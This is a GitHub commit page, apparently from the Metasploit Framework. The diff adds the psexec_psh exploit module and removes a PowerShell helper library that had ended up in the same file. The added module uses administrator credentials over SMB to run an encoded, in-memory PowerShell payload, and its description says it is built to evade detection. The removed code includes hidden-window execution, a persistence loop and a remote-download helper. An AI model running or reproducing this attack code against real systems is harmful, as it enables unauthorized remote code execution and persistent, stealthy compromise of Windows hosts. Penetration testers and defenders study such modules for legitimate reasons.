Skip to content

Commit b3fab9a

Browse files
author
RageLtMan
committed
Fix git branch mauling - reintroduce psexec_psh
Replace powershell lib which snuck in as psexec_psh. Introduce psexec_psh module which uses the Rex and Msf PSH methods provided in the lib import.
1 parent 4df3b02 commit b3fab9a

File tree

1 file changed

+87
-173
lines changed

1 file changed

+87
-173
lines changed
Lines changed: 87 additions & 173 deletions
Original file line numberDiff line numberDiff line change
@@ -1,189 +1,103 @@
11
# -*- coding: binary -*-
2-
require 'rex/exploitation/powershell'
32

4-
module Msf
5-
module Exploit::Powershell
3+
require 'msf/core'
64

7-
class PshScript < Rex::Exploitation::Powershell::Script
8-
end
5+
class Metasploit3 < Msf::Exploit::Remote
6+
Rank = ManualRanking
97

10-
def initialize(info = {})
11-
super
12-
register_advanced_options(
13-
[
14-
OptBool.new('RUN_WOW64', [
15-
false,
16-
'Execute powershell in 32bit compatibility mode, payloads need native arch',
17-
false
18-
]),
19-
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
20-
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
21-
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
22-
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
23-
], self.class)
24-
end
8+
# Exploit mixins should be called first
9+
include Msf::Exploit::Remote::SMB::Psexec
10+
include Msf::Exploit::Powershell
11+
include Msf::Auxiliary::Report
12+
include Msf::Exploit::EXE
2513

26-
#
27-
# Reads script into a PshScript
28-
#
29-
def read_script(script)
30-
return PshScript.new(script)
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
17+
'Description' => %q{
18+
This module uses a valid administrator username and password to execute a powershell
19+
payload using a similar technique to the "psexec" utility provided by SysInternals. The
20+
payload is obfuscated, gzip compressed, then encoded in base64 and executed from the commandline
21+
using the -encodedcommand flag. Using this method, the payload is never written to disk, and
22+
given that each payload is unique, is not very prone to signature based detection on the wire.
23+
Since executing shellcode in .NET requires the use of system resources from unmanaged memory space,
24+
the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided
25+
to execute the payload in a while loop in order to maintain a form of in-mem persistence. In the event
26+
of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection.
27+
In order to avoid interactive process notifications for the current user, the psh payload has
28+
been reduced in size and wrapped in a powershell invocation which hides the window entirely.
29+
},
30+
31+
'Author' => [
32+
'RageLtMan <rageltman[at]sempervictus'
33+
],
34+
35+
'License' => MSF_LICENSE,
36+
'Privileged' => true,
37+
'DefaultOptions' =>
38+
{
39+
'WfsDelay' => 10,
40+
'EXITFUNC' => 'thread'
41+
},
42+
'Payload' =>
43+
{
44+
'Space' => 8192,
45+
'DisableNops' => true,
46+
'StackAdjustment' => -3500
47+
},
48+
'Platform' => 'win',
49+
'Targets' =>
50+
[
51+
[ 'Automatic', { } ],
52+
],
53+
'DefaultTarget' => 0,
54+
'References' => [
55+
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
56+
[ 'OSVDB', '3106'],
57+
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
58+
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
59+
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
60+
]
61+
))
62+
63+
register_options([
64+
OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
65+
OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]),
66+
OptBool.new('DryRun',[false,'dry run',false]),
67+
], self.class)
3168
end
3269

33-
#
34-
# Insert substitutions into the powershell script
35-
#
36-
def make_subs(script, subs)
37-
if ::File.file?(script)
38-
script = ::File.read(script)
39-
end
40-
41-
subs.each do |set|
42-
script.gsub!(set[0],set[1])
43-
end
44-
# if datastore['VERBOSE']
45-
# print_good("Final Script: ")
46-
# script.each_line {|l| print_status("\t#{l}")}
47-
# end
48-
return script
49-
end
5070

51-
#
52-
# Return an array of substitutions for use in make_subs
53-
#
54-
def process_subs(subs)
55-
return [] if subs.nil? or subs.empty?
56-
new_subs = []
57-
subs.split(';').each do |set|
58-
new_subs << set.split(',', 2)
71+
def exploit
72+
command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD'])
73+
if datastore['DryRun']
74+
print_good command
75+
return
5976
end
60-
return new_subs
61-
end
6277

63-
#
64-
# Return a gzip compressed powershell script
65-
# Will invoke PSH modifiers as enabled
66-
#
67-
def compress_script(script_in, eof = nil)
68-
# Build script object
69-
psh = PshScript.new(script_in)
70-
# Invoke enabled modifiers
71-
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
72-
mod_method = k.split('::').last.intern
73-
psh.send(mod_method)
78+
#Try and authenticate with given credentials
79+
if connect
80+
begin
81+
smb_login
82+
rescue StandardError => autherror
83+
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
84+
return
85+
end
86+
# Execute the powershell command
87+
begin
88+
print_status("#{peer} - Executing the payload...")
89+
#vprint_good(command)
90+
return psexec(command)
91+
rescue StandardError => exec_command_error
92+
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
93+
return false
94+
end
95+
disconnect
7496
end
75-
return psh.compress_code(eof)
7697
end
7798

78-
#
79-
# Runs powershell in hidden window raising interactive proc msg
80-
#
81-
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
82-
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
83-
84-
ps_wrapper = <<EOS
85-
$si = New-Object System.Diagnostics.ProcessStartInfo
86-
$si.FileName = "#{ps_bin}"
87-
$si.Arguments = '#{ps_args}'
88-
$si.UseShellExecute = $false
89-
$si.RedirectStandardOutput = $true
90-
$si.WindowStyle = 'Hidden'
91-
$si.CreateNoWindow = $True
92-
$p = [System.Diagnostics.Process]::Start($si)
93-
EOS
94-
95-
return ps_wrapper.gsub("\n",';')
99+
def peer
100+
return "#{rhost}:#{rport}"
96101
end
97102

98-
#
99-
# Creates cmd script to execute psh payload
100-
#
101-
def cmd_psh_payload(pay, old_psh=false)
102-
# Allow powershell 1.0 format
103-
if old_psh
104-
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
105-
else
106-
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
107-
end
108-
# Run our payload in a while loop
109-
if datastore['PERSIST']
110-
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
111-
sleep_time = rand(5)+5
112-
psh_payload = "function #{fun_name}{#{psh_payload}};"
113-
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
114-
end
115-
# Determine appropriate architecture, manual method reduces script size
116-
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
117-
# Wrap in hidden runtime
118-
psh_payload = run_hidden_psh(psh_payload,ps_bin)
119-
# Convert to base64 for -encodedcommand execution
120-
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
121-
end
122-
123-
124-
#
125-
# Useful method cache
126-
#
127-
module PshMethods
128-
129-
#
130-
# Convert binary to byte array, read from file if able
131-
#
132-
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
133-
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
134-
code = code.unpack('C*')
135-
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
136-
lines = []
137-
1.upto(code.length-1) do |byte|
138-
if(byte % 10 == 0)
139-
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
140-
else
141-
lines.push ",0x#{code[byte].to_s(16)}"
142-
end
143-
end
144-
145-
return psh << lines.join("") + "\r\n"
146-
end
147-
148-
#
149-
# Download file to host via PSH
150-
#
151-
def self.download(src,target=nil)
152-
target ||= '$pwd\\' << src.split('/').last
153-
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
154-
end
155-
156-
#
157-
# Uninstall app
158-
#
159-
def self.uninstall(app,fuzzy=true)
160-
match = fuzzy ? '-like' : '-eq'
161-
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
162-
end
163-
164-
#
165-
# Create secure string from plaintext
166-
#
167-
def self.secure_string(str)
168-
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
169-
end
170-
171-
#
172-
# MISC
173-
#
174-
175-
#
176-
# Find PID of file locker
177-
#
178-
def self.who_locked_file?(filename)
179-
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
180-
end
181-
182-
183-
def self.get_last_login(user)
184-
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
185-
end
186-
end
187103
end
188-
end
189-

0 commit comments

Comments
 (0)